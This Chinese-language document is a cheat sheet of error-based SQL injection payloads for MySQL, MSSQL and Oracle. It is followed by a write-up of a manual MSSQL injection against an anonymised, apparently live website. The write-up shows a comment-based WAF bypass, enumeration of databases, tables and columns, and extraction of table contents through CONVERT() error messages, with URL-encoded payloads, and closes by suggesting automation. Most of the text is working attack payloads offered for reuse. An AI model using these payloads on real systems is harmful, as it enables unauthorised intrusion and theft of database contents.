基于报错的注入
分为两种,直接填入表达式报错,或使用外层表达式报错时返 回被嵌套的子查询的结果
Mysql:
Where id=1 and !(Select * from (select user())x)-~0;
//Big Int Overflow(大整数溢出报错)
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
Mssql:
?id=@@version
Oracle:
1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');
1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');
123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE}))
123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))
' or 1=decode((select length(user) from dual),6,1,(select char(39) from dual));
一次mssql手工注入
记录一次mssql注入的过程,很多都是久的知识,大家当温故而知新吧。
xxxx/xxx?nIDX=122‘
注入报错,直接sqlmap跑,但有waf拦截;
只能进行fuzz了,发现select 和 from之间利用/**/注释就可以绕过。
(1)首先查看版本号:
由于是数字型的报错,不用闭合单引号。直接
@@version
先查看版本号:
Microsoft OLE DB Provider for SQL Server ���� ‘80040e07’
nvarchar �� ‘Microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1
(2)当前数据库:
xxxx/xxx?nIDX=db_name()
Microsoft OLE DB Provider for SQL Server ���� ‘80040e07’
nvarchar �� ‘lxxxo’��(��) ������ ���� int(��)�� ��ȯ���� ���߽��ϴ�.
小技巧:
可以利用xxxx/xxx?nIDX=db_name(1),xxxx/xxx?nIDX=db_name(2),不停地遍历db_name()里面的内容,这过程可以放到burp里面跑,然后正则抓取关键爆错的数据库。
(3)查表
获取数据库之后,查看表的数据,但这过程中不能出现单引号;
利用报错注入爆数据表,在注入的过程中,发现用and进行注入的时候不成功,只能用or,但其实or在注入的工程是很危险的,在sqlmap中设置危险等级比较高才能够会出现,假如出问题的语句如下,就很危险:
DELETE FROM test.users WHERE id=2 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>1
爆数据库第一个表名字
/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables)--
爆其他数据表,用以下语句,不断地遍历top后面的数字可以查询表的数据:
/**/or 1 = (SELECT TOP 1 table_name/**/FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 11 table_name/**/FROM information_schema.columns))--
(4)获取字段名
跟上面的语句差不多,但要修改table_name为column_name,第一个字段:
/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns)--
报错信息如下:
其他的字段名字:
/**/or 1 = (SELECT TOP 1 column_name/**/FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1232 column_name/**/FROM information_schema.columns))--
(5)利用报错语句获得了表名和列名字,但是不知道哪个字段对应哪个表,可以利用以下语句:当User表存在字段id的时候,会返回正确,错误会报错,这就有助于甄别哪个是正确的表字段:
/**/and%20exists(select%20id/**/from%20User)--
(6)获取表里面的内容,当想继续利用爆表和爆字段的语句进行报错注入的时候,可能不成功了,也是单引号不能用,但可以利用convert()函数的高级显错特性:
获取id第一个内容,但以下语句要urlencode:
/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 id/**/FROM User)+CHAR(58)+CHAR(58)))--
urlencode后的内容:
%2f%2a%2a%2for%2f%2a%2a%2f1%3DCONVERT%28INT%2C%28CHAR%2858%29%2bCHAR%2858%29%2b%28SELECT%20top%201%20id%2f%2a%2a%2fFROM%20User%29%2bCHAR%2858%29%2bCHAR%2858%29%29%29--%20
继续爆表的其他内容:(遍历top后面的数字,也是需要进行url加密才可继续注入)
/**/or/**/1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT TOP 1 id/**/FROM User WHERE id NOT IN(SELECT TOP 1232 id/**/FROM User))+CHAR(58)+CHAR(58)))--
报错信息如下,payload已经可以利用,接下来可以利用python把整个过程自动化。